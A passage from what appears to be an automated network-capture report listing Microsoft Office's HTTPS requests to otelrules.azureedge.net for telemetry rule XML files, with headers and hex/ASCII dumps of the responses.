0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:45 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:45 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:45 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174245Z-16849878b78qf2gleqhwczd21s000000073g000000007au7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:45 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:45 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:45 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:45 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: cc0127df-201e-0003-7bc7-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174245Z-17c5cb586f6mkpfkkpsf1dpups000000025000000000ah69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:45 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:45 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:45 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:45 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174245Z-16849878b78zqkvcwgr6h55x9n00000006bg0000000070zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:45 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:45 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:45 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:45 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 09556753-901e-0064-11fd-26e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174245Z-17c5cb586f6fqqst87nqkbsx1c00000005cg0000000022yv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:45 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:45 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:45 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174245Z-16849878b782d4lwcu6h6gmxnw00000006f000000000ptyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:46 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:46 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:46 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d4940829-c01e-0014-691e-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174246Z-r197bdfb6b48pl4k4a912hk2g4000000060000000000fd84 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:46 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:46 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:46 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:46 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174246Z-15b8d89586fxdh48ft0acdbg4400000000pg000000008qqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:46 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:46 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:46 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:46 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a86168e1-701e-0097-7f6b-27b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174246Z-17c5cb586f6mkpfkkpsf1dpups000000025000000000ah7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:46 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:46 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:46 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2adb5bf6-401e-0067-6309-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174246Z-17c5cb586f6fqqst87nqkbsx1c00000005ag000000007nan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:46 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:46 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:46 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8e439449-301e-0051-2567-2838bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174246Z-15b8d89586fzcfbd8we4bvhqds00000001x0000000000ttu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:46 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:47 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:47 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 5304dbca-801e-008c-4a27-287130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174247Z-r197bdfb6b4bs5qf58wn14wgm000000005yg00000000742e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:47 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
